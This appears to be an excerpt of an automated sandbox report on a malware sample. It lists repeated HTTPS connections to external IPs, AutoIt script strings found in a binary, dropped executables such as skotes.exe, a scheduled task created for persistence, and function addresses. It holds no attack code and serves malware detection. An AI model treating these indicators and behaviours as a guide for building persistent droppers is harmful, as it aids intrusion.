Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.13:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.13:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50209 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 15a477ae94.exe, 00000021.00000000.3194070204.0000000000E72000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_0d0dd0f3-a
Source: 15a477ae94.exe, 00000021.00000000.3194070204.0000000000E72000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_8cdef5ed-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: 514a61fbeb.exe.25.dr	Static PE information: section name:
Source: 514a61fbeb.exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: f979933b17.exe.25.dr	Static PE information: section name:
Source: f979933b17.exe.25.dr	Static PE information: section name: .rsrc
Source: f979933b17.exe.25.dr	Static PE information: section name: .idata
Source: f979933b17.exe.25.dr	Static PE information: section name:
Source: lll[1].exe.25.dr	Static PE information: section name:
Source: lll[1].exe.25.dr	Static PE information: section name: .idata
Source: lll[1].exe.25.dr	Static PE information: section name:
Source: lll.exe.25.dr	Static PE information: section name:
Source: lll.exe.25.dr	Static PE information: section name: .idata
Source: lll.exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name:
Source: 954f709e67.exe.25.dr	Static PE information: section name:
Source: 954f709e67.exe.25.dr	Static PE information: section name: .idata
Source: 954f709e67.exe.25.dr	Static PE information: section name:
Source: random[1].exe1.25.dr	Static PE information: section name:
Source: random[1].exe1.25.dr	Static PE information: section name: .idata
Source: random[1].exe1.25.dr	Static PE information: section name:
Source: 97aac85e85.exe.25.dr	Static PE information: section name:
Source: 97aac85e85.exe.25.dr	Static PE information: section name: .idata
Source: 97aac85e85.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58AC60	0_2_6C58AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65AC30	0_2_6C65AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646C00	0_2_6C646C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECD0	0_2_6C5DECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57ECC0	0_2_6C57ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64ED70	0_2_6C64ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AAD50	0_2_6C6AAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708D20	0_2_6C708D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70CDC0	0_2_6C70CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C584DB0	0_2_6C584DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616D90	0_2_6C616D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EE70	0_2_6C61EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660E20	0_2_6C660E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58AEC0	0_2_6C58AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620EC0	0_2_6C620EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606E90	0_2_6C606E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642F70	0_2_6C642F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEF40	0_2_6C5EEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586F10	0_2_6C586F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0F20	0_2_6C6C0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EFF0	0_2_6C65EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C580FE0	0_2_6C580FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8FB0	0_2_6C6C8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58EFB0	0_2_6C58EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654840	0_2_6C654840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A820	0_2_6C60A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0820	0_2_6C5D0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6868E0	0_2_6C6868E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8960	0_2_6C5B8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6900	0_2_6C5D6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69C9E0	0_2_6C69C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B49F0	0_2_6C5B49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6109A0	0_2_6C6109A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A9A0	0_2_6C63A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6409B0	0_2_6C6409B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FCA70	0_2_6C5FCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638A30	0_2_6C638A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62EA00	0_2_6C62EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FEA80	0_2_6C5FEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686BE0	0_2_6C686BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620BA0	0_2_6C620BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598460	0_2_6C598460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A430	0_2_6C60A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4420	0_2_6C5E4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C64D0	0_2_6C5C64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61A4D0	0_2_6C61A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA480	0_2_6C6AA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620570	0_2_6C620570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8540	0_2_6C5D8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684540	0_2_6C684540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8550	0_2_6C6C8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2560	0_2_6C5E2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A5E0	0_2_6C64A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E5F0	0_2_6C60E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5745B0	0_2_6C5745B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC650	0_2_6C5DC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E6E0	0_2_6C61E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A46D0	0_2_6C5A46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DE6E0	0_2_6C5DE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600700	0_2_6C600700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AA7D0	0_2_6C5AA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CE070	0_2_6C5CE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C000	0_2_6C64C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648010	0_2_6C648010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C578090	0_2_6C578090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C0B0	0_2_6C65C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5900B0	0_2_6C5900B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8140	0_2_6C5E8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664130	0_2_6C664130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6130	0_2_6C5F6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5801E0	0_2_6C5801E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608260	0_2_6C608260
